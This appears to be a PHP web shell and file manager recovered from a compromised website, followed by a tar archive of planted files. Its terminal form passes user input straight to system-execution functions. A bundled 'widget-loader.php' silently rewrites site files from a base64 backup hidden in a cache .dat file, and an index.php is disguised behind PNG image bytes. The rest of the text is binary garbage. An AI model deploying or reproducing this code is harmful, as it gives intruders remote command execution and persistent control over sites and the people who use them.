		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Z: @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK                                                                                                                                                                                                                                                                                                                                                                      widget-loader.php.tar                                                                               0000644                 00000005000 15243251040 0010560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      index.php.tar                                                                                       0000644                 00000240000 15243251040 0007141 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243251040 0017352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
